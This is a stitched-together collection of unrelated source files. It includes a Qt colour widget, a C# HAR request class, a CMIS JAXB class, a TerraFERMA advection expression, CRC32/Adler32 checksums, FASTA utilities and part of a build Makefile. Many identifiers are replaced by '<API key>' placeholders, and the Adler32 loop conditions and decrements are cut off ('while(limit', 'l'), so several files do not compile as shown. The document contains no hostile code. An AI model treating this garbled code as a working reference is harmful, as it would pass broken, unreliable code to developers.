#include "colorshowlabel.h"
#include <QApplication>
#include <QPainter>
#include <QMimeData>
#include <QDrag>
#include <QMouseEvent>
YviColorShowLabel::YviColorShowLabel(QWidget *parent) :
QFrame(parent)
{
this->setFrameStyle(QFrame::Panel|QFrame::Sunken);
this->setAcceptDrops(true);
m_mousePressed = false;
}
void YviColorShowLabel::paintEvent(QPaintEvent *e)
{
QPainter p(this);
drawFrame(&p);
p.fillRect(contentsRect()&e->rect(), m_color);
}
void YviColorShowLabel::mousePressEvent(QMouseEvent *e)
{
m_mousePressed = true;
m_pressPos = e->pos();
}
void YviColorShowLabel::mouseMoveEvent(QMouseEvent *e)
{
if (!m_mousePressed)
return;
if ((m_pressPos - e->pos()).manhattanLength() > QApplication::startDragDistance())
{
QMimeData *mime = new QMimeData;
mime->setColorData(m_color);
QPixmap pix(30, 20);
pix.fill(m_color);
QPainter p(&pix);
p.drawRect(0, 0, pix.width() - 1, pix.height() - 1);
p.end();
QDrag *drg = new QDrag(this);
drg->setMimeData(mime);
drg->setPixmap(pix);
m_mousePressed = false;
drg->start();
}
}
void YviColorShowLabel::mouseReleaseEvent(QMouseEvent *)
{
if (!m_mousePressed)
return;
m_mousePressed = false;
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace Harnet.Net
{
public class Request
{
#region Properties
<summary>
Request method (GET, POST, ...).
</summary>
public string Method { get; set; }
<summary>
Absolute URL of the request (fragments are not included).
</summary>
public string Url { get; set; }
<summary>
Request HTTP Version.
</summary>
public string HttpVersion { get; set; }
<summary>
List of header objects.
</summary>
public Dictionary<string, List<string>> Headers { get; set; }
<summary>
List of query parameter objects.
</summary>
public Dictionary<string, List<string>> QueryStrings { get; set; }
<summary>
List of cookie objects.
</summary>
public Dictionary<string, List<string>> Cookies { get; set; }
<summary>
Total number of bytes from the start of the HTTP request message until (and including) the double CRLF before the body. Set to -1 if the info is not available.
</summary>
public int HeaderSize { get; set; }
<summary>
Size of the request body (POST data payload) in bytes. Set to -1 if the info is not available.
</summary>
public int BodySize { get; set; }
<summary>
Posted data info.
</summary>
public PostData PostData { get; set; }
<summary>
A comment provided by the user or the application.
</summary>
public string Comment { get; set; }
#endregion
#region Methods
public List<string> <API key>(string name)
{
List<string> value = null;
if (Headers.ContainsKey(name))
{
value = Headers[name];
}
return value;
}
<summary>
Attempts to retrieve the filename from the request.
</summary>
<returns>Returns the filename. If no filename is found, returns null.</returns>
public string GetFileName()
{
string fileName = null;
// If we have query strings we remove them first because sometimes they get funky
if (this.QueryStrings.Count >= 1)
{
fileName = <API key>();
}
else
fileName = Url;
// Isolate what's after the trailing slash and before any query string
int index = fileName.LastIndexOf("/");
// If difference between index and length is < 1, it means we have no file name
int diff = fileName.Length - index;
if (index > 0 && diff > 1)
fileName = fileName.Substring(index +1, diff - 1);
else
fileName = null;
return fileName;
}
<summary>
Strips the Url of all query strings and returns it (e.g. www.fsf.org/index.html?foo=bar returns www.fsg.org/index.html).
</summary>
<returns></returns>
public string <API key>()
{
int indexOf = Url.IndexOf("?");
if (indexOf >= 1)
return Url.Substring(0, indexOf);
else
return Url;
}
<summary>
Returns whether or not this request contains cookies.
</summary>
<returns></returns>
public bool HasCookies()
{
return (this.Cookies.Count > 0) ? true : false;
}
<summary>
Returns whether or not this request contains headers.
</summary>
<returns></returns>
public bool HasHeaders()
{
return (this.Headers.Count > 0) ? true : false;
}
<summary>
Returns whether or not this request contains query strings.
</summary>
<returns></returns>
public bool HasQueryStrings()
{
return (this.QueryStrings.Count > 0) ? true : false;
}
#endregion
}
}
|
package org.alfresco.repo.cmis.ws;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlElementRef;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
"repositoryId",
"extension"
})
@XmlRootElement(name = "getRepositoryInfo")
public class GetRepositoryInfo {
@XmlElement(required = true)
protected String repositoryId;
@XmlElementRef(name = "extension", namespace = "http://docs.oasis-open.org/ns/cmis/messaging/200908/", type = JAXBElement.class)
protected JAXBElement<CmisExtensionType> extension;
/**
* Gets the value of the repositoryId property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getRepositoryId() {
return repositoryId;
}
/**
* Sets the value of the repositoryId property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setRepositoryId(String value) {
this.repositoryId = value;
}
/**
* Gets the value of the extension property.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link CmisExtensionType }{@code >}
*
*/
public JAXBElement<CmisExtensionType> getExtension() {
return extension;
}
/**
* Sets the value of the extension property.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link CmisExtensionType }{@code >}
*
*/
public void setExtension(JAXBElement<CmisExtensionType> value) {
this.extension = ((JAXBElement<CmisExtensionType> ) value);
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
namespace LeagueOfChampios
{
public class RouteConfig
{
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name: "Default",
url: "{controller}/{action}/{id}",
defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
);
}
}
}
|
// Please see the AUTHORS file in the main source directory for a full list
// of contributors.
// This file is part of TerraFERMA.
// TerraFERMA is free software: you can redistribute it and/or modify
// (at your option) any later version.
// TerraFERMA is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#include "<API key>.h"
#include "BoostTypes.h"
#include "Bucket.h"
#include "Logger.h"
#include <dolfin.h>
using namespace buckettools;
//
// specific constructor (scalar)
//
<API key>::<API key>(const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("<API key>");
}
//
// specific constructor (vector)
//
<API key>::<API key>(const std::size_t &dim,
const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(dim),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("<API key>");
}
//
// specific constructor (tensor)
//
<API key>::<API key>(const std::vector<std::size_t> &value_shape,
const Bucket *bucket, const double_ptr time,
const std::pair< std::string, std::pair< std::string, std::string > > &function,
const std::pair< std::string, std::pair< std::string, std::string > > &velocity,
const std::pair< std::string, std::pair< std::string, std::string > > &outside) :
dolfin::Expression(value_shape),
bucket_(bucket),
time_(time),
funcname_(function),
velname_(velocity),
outname_(outside),
initialized_(false)
{
tf_not_parallelized("<API key>");
}
//
// default destructor
//
<API key>::~<API key>()
{
delete ufccellstar_;
ufccellstar_ = NULL;
delete[] xstar_;
xstar_ = NULL;
delete v_;
v_ = NULL;
delete oldv_;
oldv_ = NULL;
delete vstar_;
vstar_ = NULL;
delete cellcache_;
cellcache_ = NULL;
}
//
// initialize the expression
//
void <API key>::init()
{
if (!initialized_)
{
initialized_ = true;
if(funcname_.second.first=="field")
{
func_ = (*(*(*bucket()).fetch_system(funcname_.first)).
fetch_field(funcname_.second.second)).
genericfunction_ptr(time());
}
else
{
func_ = (*(*(*bucket()).fetch_system(funcname_.first)).
fetch_coeff(funcname_.second.second)).
genericfunction_ptr(time());
}
if(velname_.second.first=="field")
{
vel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_field(velname_.second.second)).
genericfunction_ptr((*bucket()).current_time_ptr());
oldvel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_field(velname_.second.second)).
genericfunction_ptr((*bucket()).old_time_ptr());
}
else
{
vel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_coeff(velname_.second.second)).
genericfunction_ptr((*bucket()).current_time_ptr());
oldvel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_coeff(velname_.second.second)).
genericfunction_ptr((*bucket()).old_time_ptr());
}
if(outname_.second.first=="field")
{
out_ = (*(*(*bucket()).fetch_system(outname_.first)).
fetch_field(outname_.second.second)).
genericfunction_ptr(time());
}
else
{
out_ = (*(*(*bucket()).fetch_system(outname_.first)).
fetch_coeff(outname_.second.second)).
genericfunction_ptr(time());
}
assert(value_rank()==(*func_).value_rank());
assert(value_rank()==(*out_).value_rank());
for (uint i = 0; i < value_rank(); i++)
{
assert(value_dimension(i)==(*func_).value_dimension(i));
assert(value_dimension(i)==(*out_).value_dimension(i));
}
mesh_ = (*(*bucket()).fetch_system(funcname_.first)).mesh();// use the mesh from the function system
dim_ = (*mesh_).geometry().dim();
assert((*vel_).value_rank()<2);
if((*vel_).value_rank()==0)
{
assert(dim_==1);
}
else
{
assert((*vel_).value_dimension(0)==dim_);
}
ufccellstar_ = new ufc::cell;
xstar_ = new double[dim_];
v_ = new dolfin::Array<double>(dim_);
oldv_ = new dolfin::Array<double>(dim_);
vstar_ = new dolfin::Array<double>(dim_);
cellcache_ = new dolfin::MeshFunction< point_map >(mesh_, dim_);
}
}
//
// overload dolfin expression eval
//
void <API key>::eval(dolfin::Array<double>& values,
const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
const bool outside = findpoint_(x, cell);
dolfin::Array<double> xstar(dim_, xstar_);
if (outside)
{
(*out_).eval(values, xstar, *ufccellstar_);
}
else
{
(*func_).eval(values, xstar, *ufccellstar_);
}
}
//
// find the launch point
//
const bool <API key>::findpoint_(const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
bool outside = false;
point_map &points = (*cellcache_)[cell.index];
dolfin::Point lp(x.size(), x.data());
point_iterator p_it = points.find(lp);
findvstar_(x, cell);
for (uint k = 0; k < 2; k++)
{
for (uint i = 0; i < dim_; i++)
{
xstar_[i] = x[i] - ((*bucket()).timestep()/2.0)*(*vstar_)[i];
}
outside = checkpoint_(0, p_it, points, lp);
if (outside)
{
return true;
}
dolfin::Array<double> xstar(dim_, xstar_);
findvstar_(xstar, *ufccellstar_);
}
for (uint i = 0; i < dim_; i++)
{
xstar_[i] = x[i] - ((*bucket()).timestep())*(*vstar_)[i];
}
outside = checkpoint_(1, p_it, points, lp);
if (outside)
{
return true;
}
return false;
}
//
// find the time weighted velocity at the requested point, x
//
void <API key>::findvstar_(const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
(*vel_).eval(*v_, x, cell);
(*oldvel_).eval(*oldv_, x, cell);
for (uint i = 0; i < dim_; i++)
{
(*vstar_)[i] = 0.5*( (*v_)[i] + (*oldv_)[i] );
}
}
//
// check if the current xstar_ is in the cache and/or is valid
//
const bool <API key>::checkpoint_(const int &index,
point_iterator &p_it,
point_map &points,
const dolfin::Point &lp) const
{
std::vector<unsigned int> cell_indices;
int cell_index;
const dolfin::Point p(dim_, xstar_);
if (p_it != points.end())
{
cell_index = (*p_it).second[index];
bool update = false;
if (cell_index < 0)
{
update = true;
}
else
{
dolfin::Cell dolfincell(*mesh_, cell_index);
if (!dolfincell.collides(p))
{
update = true;
}
}
if (update)
{
cell_indices = (*(*mesh_).bounding_box_tree()).<API key>(p);
if (cell_indices.size()==0)
{
cell_index = -1;
}
else
{
cell_index = cell_indices[0];
}
(*p_it).second[index] = cell_index;
}
}
else
{
cell_indices = (*(*mesh_).bounding_box_tree()).<API key>(p);
if (cell_indices.size()==0)
{
cell_index = -1;
}
else
{
cell_index = cell_indices[0];
}
std::vector<int> cells(2, -1);
cells[index] = cell_index;
points[lp] = cells;
}
if (cell_index<0)
{
return true;
}
dolfin::Cell dolfincell(*mesh_, cell_index);
dolfincell.get_cell_data(*ufccellstar_);
return false;
}
|
#include "util/checksum.hpp"
namespace trillek {
namespace util {
namespace algorithm {
static uint32_t crc32_table[256];
static bool <API key> = false;
static void GenCRC32Table()
{
uint32_t c;
uint32_t i;
int k;
for(i = 0; i < 256; i++) {
c = i;
for(k = 0; k < 8; k++) {
if(c & 1)
c = 0xedb88320ul ^ (c >> 1);
else
c = c >> 1;
}
crc32_table[i] = c;
}
<API key> = true;
}
void Crc32::Update(char d) {
if(!<API key>)
GenCRC32Table();
ldata = crc32_table[(ldata ^ ((unsigned char)d)) & 0xff] ^ (ldata >> 8);
}
void Crc32::Update(const std::string &d) {
uint32_t c = ldata;
std::string::size_type n, l = d.length();
if(!<API key>)
GenCRC32Table();
for(n = 0; n < l; n++) {
c = crc32_table[(c ^ ((unsigned char)d[n])) & 0xff] ^ (c >> 8);
}
ldata = c;
}
void Crc32::Update(const void *dv, size_t l) {
uint32_t c = ldata;
std::string::size_type n;
char * d = (char*)dv;
if(!<API key>)
GenCRC32Table();
for(n = 0; n < l; n++) {
c = crc32_table[(c ^ ((unsigned char)d[n])) & 0xff] ^ (c >> 8);
}
ldata = c;
}
static const uint32_t ADLER_LIMIT = 5552;
static const uint32_t ADLER_BASE = 65521u;
void Adler32::Update(const std::string &d) {
Update(d.data(), d.length());
}
void Adler32::Update(const void *dv, size_t l) {
uint32_t c1 = ldata & 0xffff;
uint32_t c2 = (ldata >> 16) & 0xffff;
unsigned char * d = (unsigned char*)dv;
std::string::size_type n = 0;
while(l >= ADLER_LIMIT) {
l -= ADLER_LIMIT;
uint32_t limit = ADLER_LIMIT / 16;
while(limit
c1 += d[n ]; c2 += c1; c1 += d[n+ 1]; c2 += c1;
c1 += d[n+ 2]; c2 += c1; c1 += d[n+ 3]; c2 += c1;
c1 += d[n+ 4]; c2 += c1; c1 += d[n+ 5]; c2 += c1;
c1 += d[n+ 6]; c2 += c1; c1 += d[n+ 7]; c2 += c1;
c1 += d[n+ 8]; c2 += c1; c1 += d[n+ 9]; c2 += c1;
c1 += d[n+10]; c2 += c1; c1 += d[n+11]; c2 += c1;
c1 += d[n+12]; c2 += c1; c1 += d[n+13]; c2 += c1;
c1 += d[n+14]; c2 += c1; c1 += d[n+15]; c2 += c1;
n += 16;
}
c1 %= ADLER_BASE;
c2 %= ADLER_BASE;
}
for(; l; n++, l
c1 += d[n];
while(c1 >= ADLER_BASE) {
c1 -= ADLER_BASE;
}
c2 += c1;
while(c2 >= ADLER_BASE) {
c2 -= ADLER_BASE;
}
}
ldata = (c2 << 16) + c1;
}
} // algorithm
} // util
} // trillek
|
Imports Windows.Graphics.Imaging
Imports Windows.Storage
Imports Windows.Storage.Pickers
Imports Windows.Storage.Streams
Imports Windows.UI
Module Captura
Public Async Sub Generar(lv As ListView, tienda As String)
Dim picker As New FileSavePicker()
picker.FileTypeChoices.Add("PNG File", New List(Of String)() From {
".png"
})
picker.SuggestedFileName = tienda.ToLower + DateTime.Today.Day.ToString + DateTime.Now.Hour.ToString +
DateTime.Now.Minute.ToString + DateTime.Now.Millisecond.ToString
Dim ficheroImagen As StorageFile = Await picker.PickSaveFileAsync()
If ficheroImagen Is Nothing Then
Return
End If
lv.Background = New SolidColorBrush(Colors.Gainsboro)
Dim stream As IRandomAccessStream = Await ficheroImagen.OpenAsync(FileAccessMode.ReadWrite)
Dim render As New RenderTargetBitmap
Await render.RenderAsync(lv)
Dim buffer As IBuffer = Await render.GetPixelsAsync
Dim pixels As Byte() = buffer.ToArray
Dim logicalDpi As Single = DisplayInformation.GetForCurrentView().LogicalDpi
Dim encoder As BitmapEncoder = Await BitmapEncoder.CreateAsync(BitmapEncoder.PngEncoderId, stream)
encoder.SetPixelData(BitmapPixelFormat.Bgra8, BitmapAlphaMode.Ignore, render.PixelWidth, render.PixelHeight, logicalDpi, logicalDpi, pixels)
Await encoder.FlushAsync()
lv.Background = New SolidColorBrush(Colors.Transparent)
End Sub
End Module
|
#include "my_main.h"
#include "my_thing_tile.h"
#include "my_time_util.h"
#include "my_wid.h"
void wid_animate (widp w)
{_
if (!w->animate) {
return;
}
tpp tp = <API key>(w);
if (!tp) {
return;
}
if (!tp_is_animated(tp)) {
return;
}
thing_tilep tile;
tile = w->current_tile;
if (tile) {
/*
* If within the animate time of this frame, keep with it.
*/
if (w-><API key> > time_get_time_ms()) {
return;
}
/*
* Stop the animation here?
*/
if (<API key>(tile)) {
return;
}
}
auto tiles = tp_get_tiles(tp);
/*
* Get the next tile.
*/
if (tile) {
tile = thing_tile_next(tiles, tile);
}
/*
* Find a tile that matches the things current mode.
*/
uint32_t size = tiles.size();
uint32_t tries = 0;
while (tries < size) {
tries++;
/*
* Cater for wraps.
*/
if (!tile) {
tile = thing_tile_first(tiles);
}
{
if (thing_tile_is_dead(tile)) {
tile = thing_tile_next(tiles, tile);
continue;
}
if (thing_tile_is_open(tile)) {
tile = thing_tile_next(tiles, tile);
continue;
}
}
break;
}
if (!tile) {
return;
}
/*
* Use this tile!
*/
w->current_tile = tile;
wid_set_tilename(w, thing_tile_name(tile));
/*
* When does this tile expire ?
*/
uint32_t delay = thing_tile_delay_ms(tile);
if (delay) {
delay = myrand() % delay;
}
w-><API key> = time_get_time_ms() + delay;
}
|
package com.opendoorlogistics.core.scripts.execution.dependencyinjection;
import java.awt.Dimension;
import javax.swing.JPanel;
import com.opendoorlogistics.api.HasApi;
import com.opendoorlogistics.api.components.<API key>.<API key>;
import com.opendoorlogistics.api.components.<API key>.<API key>;
import com.opendoorlogistics.api.components.<API key>.ModalDialogResult;
import com.opendoorlogistics.api.components.ODLComponent;
import com.opendoorlogistics.api.components.ProcessingApi;
import com.opendoorlogistics.api.distances.<API key>;
import com.opendoorlogistics.api.distances.ODLCostMatrix;
import com.opendoorlogistics.api.geometry.LatLong;
import com.opendoorlogistics.api.geometry.ODLGeom;
import com.opendoorlogistics.api.tables.ODLDatastore;
import com.opendoorlogistics.api.tables.ODLTable;
import com.opendoorlogistics.api.tables.ODLTableReadOnly;
import com.opendoorlogistics.core.tables.decorators.datastores.dependencies.DataDependencies;
public interface DependencyInjector extends ProcessingApi, HasApi {
String getBatchKey();
ModalDialogResult showModalPanel(JPanel panel,String title, ModalDialogResult ...buttons);
ModalDialogResult showModalPanel(JPanel panel,String title,Dimension minSize, ModalDialogResult ...buttons);
<T extends JPanel & <API key>> void showModalPanel(T panel, String title);
ODLCostMatrix calculateDistances(<API key> request, ODLTableReadOnly... tables);
ODLGeom calculateRouteGeom(<API key> request, LatLong from, LatLong to);
void <API key>(String instructionId, DataDependencies dependencies);
void <API key>(String instructionId,ODLComponent component,ODLDatastore<? extends ODLTable> parametersTableCopy, String reportTopLabel,<API key> cb);
}
|
#include "ui_uaisosettings.h"
#include "uaisosettings.h"
#include "uaisoeditor.h"
#include <coreplugin/icore.h>
#include <QPointer>
using namespace UaisoQtc;
using namespace TextEditor;
using namespace uaiso;
struct UaisoSettingsPage::<API key>
{
explicit <API key>()
: m_displayName(tr("Uaiso Source Analyser"))
, m_settingsPrefix(QLatin1String("Uaiso"))
, m_prevIndex(-1)
, m_page(0)
{}
const Core::Id m_id;
const QString m_displayName;
const QString m_settingsPrefix;
int m_prevIndex;
UaisoSettings m_settings;
QPointer<QWidget> m_widget;
Ui::UaisoSettingsPage *m_page;
};
UaisoSettingsPage::UaisoSettingsPage(QObject *parent)
: Core::IOptionsPage(parent)
, m_d(new <API key>)
{
setId(Constants::SETTINGS_ID);
setDisplayName(m_d->m_displayName);
setCategory(Constants::SETTINGS_CATEGORY);
setDisplayCategory(QCoreApplication::translate("Uaiso", Constants::<API key>));
//setCategoryIcon(QLatin1String(Constants::<API key>));
}
UaisoSettingsPage::~UaisoSettingsPage()
{
delete m_d;
}
QWidget *UaisoSettingsPage::widget()
{
if (!m_d->m_widget) {
m_d->m_widget = new QWidget;
m_d->m_page = new Ui::UaisoSettingsPage;
m_d->m_page->setupUi(m_d->m_widget);
m_d->m_page->langCombo->setCurrentIndex(0);
for (auto lang : supportedLangs()) {
m_d->m_page->langCombo->addItem(QString::fromStdString(langName(lang)),
QVariant::fromValue(static_cast<int>(lang)));
}
m_d->m_settings.load(Core::ICore::settings());
m_d->m_prevIndex = -1; // Reset previous index.
connect(m_d->m_page->langCombo, SIGNAL(currentIndexChanged(int)),
this, SLOT(<API key>(int)));
settingsToUI();
}
return m_d->m_widget;
}
void UaisoSettingsPage::apply()
{
if (!m_d->m_page)
return;
settingsFromUI();
m_d->m_settings.store(Core::ICore::settings());
}
void UaisoSettingsPage::finish()
{
delete m_d->m_widget;
if (!m_d->m_page)
return;
delete m_d->m_page;
m_d->m_page = 0;
}
void UaisoSettingsPage::<API key>(int index)
{
if (m_d->m_prevIndex != -1)
updateOptionsOfLang(m_d->m_prevIndex);
UaisoSettings::LangOptions &options = m_d->m_settings.m_options[index];
m_d->m_page->enabledCheck->setChecked(options.m_enabled);
m_d->m_page->interpreterEdit->setText(options.m_interpreter);
m_d->m_page->sysPathEdit->setText(options.m_systemPaths);
m_d->m_page->extraPathEdit->setText(options.m_extraPaths);
m_d->m_prevIndex = index;
}
void UaisoSettingsPage::updateOptionsOfLang(int index)
{
UaisoSettings::LangOptions &options = m_d->m_settings.m_options[index];
options.m_enabled = m_d->m_page->enabledCheck->isChecked();
options.m_interpreter = m_d->m_page->interpreterEdit->text();
options.m_systemPaths = m_d->m_page->sysPathEdit->text();
options.m_extraPaths = m_d->m_page->extraPathEdit->text();
}
void UaisoSettingsPage::settingsFromUI()
{
updateOptionsOfLang(m_d->m_page->langCombo->currentIndex());
}
void UaisoSettingsPage::settingsToUI()
{
<API key>(m_d->m_page->langCombo->currentIndex());
}
namespace {
const QLatin1String kUaiso("UaisoSettings");
const QLatin1String kEnabled("Enabled");
const QLatin1String kInterpreter("Interpreter");
const QLatin1String kSystemPaths("SystemPaths");
const QLatin1String kExtraPaths("ExtraPaths");
} // anonymous
void UaisoSettings::store(QSettings *settings,
const LangOptions &options,
const QString& group) const
{
settings->beginGroup(group);
settings->setValue(kEnabled, options.m_enabled);
settings->setValue(kInterpreter, options.m_interpreter);
settings->setValue(kSystemPaths, options.m_systemPaths);
settings->setValue(kExtraPaths, options.m_extraPaths);
settings->endGroup();
}
void UaisoSettings::store(QSettings *settings) const
{
for (auto const& option : m_options) {
store(settings,
option.second,
kUaiso + QString::fromStdString(langName(LangName(option.first))));
}
}
void UaisoSettings::load(QSettings *settings,
LangOptions &options,
const QString& group)
{
settings->beginGroup(group);
options.m_enabled = settings->value(kEnabled).toBool();
options.m_interpreter = settings->value(kInterpreter).toString();
options.m_systemPaths = settings->value(kSystemPaths).toString();
options.m_extraPaths = settings->value(kExtraPaths).toString();
settings->endGroup();
}
void UaisoSettings::load(QSettings *settings)
{
for (auto lang : supportedLangs()) {
auto& option = m_options[static_cast<int>(lang)];
load(settings,
option,
kUaiso + QString::fromStdString(langName(lang)));
}
}
|
#include "<API key>.h"
#include <QStringList>
namespace lv{
<API key>::<API key>(const QString &uri, int versionMajor, int versionMinor)
: m_uri(uri)
, m_versionMajor(versionMajor)
, m_versionMinor(versionMinor)
{
}
<API key>::~<API key>(){
}
<API key> <API key>::parse(const QString &import){
int position = import.lastIndexOf(' ');
if ( position == -1 )
return <API key>("", -1, -1);
int major, minor;
bool isVersion = parseVersion(import.mid(position + 1).trimmed(), &major, &minor);
if ( !isVersion )
return <API key>("", -1, -1);
return <API key>(import.mid(0, position).trimmed(), major, minor);
}
int <API key>::parseInt(const QStringRef &str, bool *ok){
int pos = 0;
int number = 0;
while (pos < str.length() && str.at(pos).isDigit()) {
if (pos != 0)
number *= 10;
number += str.at(pos).unicode() - '0';
++pos;
}
if (pos != str.length())
*ok = false;
else
*ok = true;
return number;
}
bool <API key>::parseVersion(const QString &str, int *major, int *minor){
const int dotIndex = str.indexOf(QLatin1Char('.'));
if (dotIndex != -1 && str.indexOf(QLatin1Char('.'), dotIndex + 1) == -1) {
bool ok = false;
*major = parseInt(QStringRef(&str, 0, dotIndex), &ok);
if (ok)
*minor = parseInt(QStringRef(&str, dotIndex + 1, str.length() - dotIndex - 1), &ok);
return ok;
}
return false;
}
QString <API key>::path() const{
QStringList splitPath = m_uri.split('.');
QString res = splitPath.join(QLatin1Char('/'));
if (res.isEmpty() && !splitPath.isEmpty())
return QLatin1String("/");
return res;
}
}// namespace
|
package org.energy_home.dal.functions.data;
import java.util.Map;
import org.osgi.service.dal.FunctionData;
public class DoorLockData extends FunctionData {
public final static String STATUS_OPEN = "OPEN";
public final static String STATUS_CLOSED = "CLOSED";
private String status;
public DoorLockData(long timestamp, Map metadata) {
super(timestamp, metadata);
}
public DoorLockData(long timestamp, Map metadata, String status) {
super(timestamp, metadata);
this.status = status;
}
public String getStatus() {
return this.status;
}
public int compareTo(Object o) {
return 0;
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "fasta.h"
#include "util.h"
fastap fa_alloc(int maxlen) {
fastap fa;
fa = (fastap) malloc(sizeof(struct fasta));
fa->id = (char *) malloc(maxlen+1);
fa->data = (char *) malloc(maxlen+1);
fa->maxlen = maxlen;
return fa;
}
int fa_next(fastap seq,FILE *fd) {
fgets(seq->id,seq->maxlen+1,fd);
if (feof(fd)) {
return 0;
}
seq->id[0] = ' '; /* white out the ">" */
stripWhiteSpace(seq->id); /* remove blank, newline */
fgets(seq->data,seq->maxlen+1,fd);
stripWhiteSpace(seq->data); /* remove newline */
return 1;
}
void fa_fasta(fastap seq,FILE *fd) {
fprintf(fd,">%s\n%s\n",seq->id,seq->data);
}
void fa_fasta_trunc(fastap seq,FILE *fd,int len) {
seq->data[len] = 0;
fprintf(fd,">%s\n%s\n",seq->id,seq->data);
}
void fa_free(fastap seq) {
if (seq != NULL) {
free(seq->id);
free(seq->data);
free(seq);
}
}
void fa_mask(fastap seq,unsigned start,unsigned length,char mask) {
unsigned i;
unsigned seqlen;
seqlen = strlen(seq->data);
if (start >= seqlen) {
return; /* can't start past the end of the sequence */
}
if (length == 0 || /* default: from 'start' to end of sequence */
start + length > seqlen) { /* writing past end of sequence */
length = seqlen - start;
}
for (i=start;i<start+length;i++) {
seq->data[i] = mask;
}
}
|
.NOTPARALLEL :
SOURCES_PATH ?= $(BASEDIR)/sources
BASE_CACHE ?= $(BASEDIR)/built
SDK_PATH ?= $(BASEDIR)/SDKs
NO_QT ?=
NO_WALLET ?=
NO_UPNP ?=
<API key> ?= https://crimsoncore.org/depends-sources
BUILD = $(shell ./config.guess)
HOST ?= $(BUILD)
PATCHES_PATH = $(BASEDIR)/patches
BASEDIR = $(CURDIR)
HASH_LENGTH:=11
<API key>:=10
DOWNLOAD_RETRIES:=3
HOST_ID_SALT ?= salt
BUILD_ID_SALT ?= salt
host:=$(BUILD)
ifneq ($(HOST),)
host:=$(HOST)
host_toolchain:=$(HOST)-
endif
ifneq ($(DEBUG),)
release_type=debug
else
release_type=release
endif
base_build_dir=$(BASEDIR)/work/build
base_staging_dir=$(BASEDIR)/work/staging
base_download_dir=$(BASEDIR)/work/download
canonical_host:=$(shell ./config.sub $(HOST))
build:=$(shell ./config.sub $(BUILD))
build_arch =$(firstword $(subst -, ,$(build)))
build_vendor=$(word 2,$(subst -, ,$(build)))
full_build_os:=$(subst $(build_arch)-$(build_vendor)-,,$(build))
build_os:=$(findstring linux,$(full_build_os))
build_os+=$(findstring darwin,$(full_build_os))
build_os:=$(strip $(build_os))
ifeq ($(build_os),)
build_os=$(full_build_os)
endif
host_arch=$(firstword $(subst -, ,$(canonical_host)))
host_vendor=$(word 2,$(subst -, ,$(canonical_host)))
full_host_os:=$(subst $(host_arch)-$(host_vendor)-,,$(canonical_host))
host_os:=$(findstring linux,$(full_host_os))
host_os+=$(findstring darwin,$(full_host_os))
host_os+=$(findstring mingw32,$(full_host_os))
host_os:=$(strip $(host_os))
ifeq ($(host_os),)
host_os=$(full_host_os)
endif
$(host_arch)_$(host_os)_prefix=$(BASEDIR)/$(host)
$(host_arch)_$(host_os)_host=$(host)
host_prefix=$($(host_arch)_$(host_os)_prefix)
build_prefix=$(host_prefix)/native
build_host=$(build)
AT_$(V):=
AT_:=@
AT:=$(AT_$(V))
all: install
include hosts/$(host_os).mk
include hosts/default.mk
include builders/$(build_os).mk
include builders/default.mk
include packages/packages.mk
build_id_string:=$(BUILD_ID_SALT)
build_id_string+=$(shell $(build_CC) --version 2>/dev/null)
build_id_string+=$(shell $(build_AR) --version 2>/dev/null)
build_id_string+=$(shell $(build_CXX) --version 2>/dev/null)
build_id_string+=$(shell $(build_RANLIB) --version 2>/dev/null)
build_id_string+=$(shell $(build_STRIP) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string:=$(HOST_ID_SALT)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_CC) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_AR) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_CXX) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_RANLIB) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_STRIP) --version 2>/dev/null)
qt_packages_$(NO_QT) = $(qt_packages) $(qt_$(host_os)_packages) $(qt_$(host_arch)_$(host_os)_packages)
wallet_packages_$(NO_WALLET) = $(wallet_packages)
upnp_packages_$(NO_UPNP) = $(upnp_packages)
packages += $($(host_arch)_$(host_os)_packages) $($(host_os)_packages) $(qt_packages_) $(wallet_packages_) $(upnp_packages_)
native_packages += $($(host_arch)_$(host_os)_native_packages) $($(host_os)_native_packages)
ifneq ($(qt_packages_),)
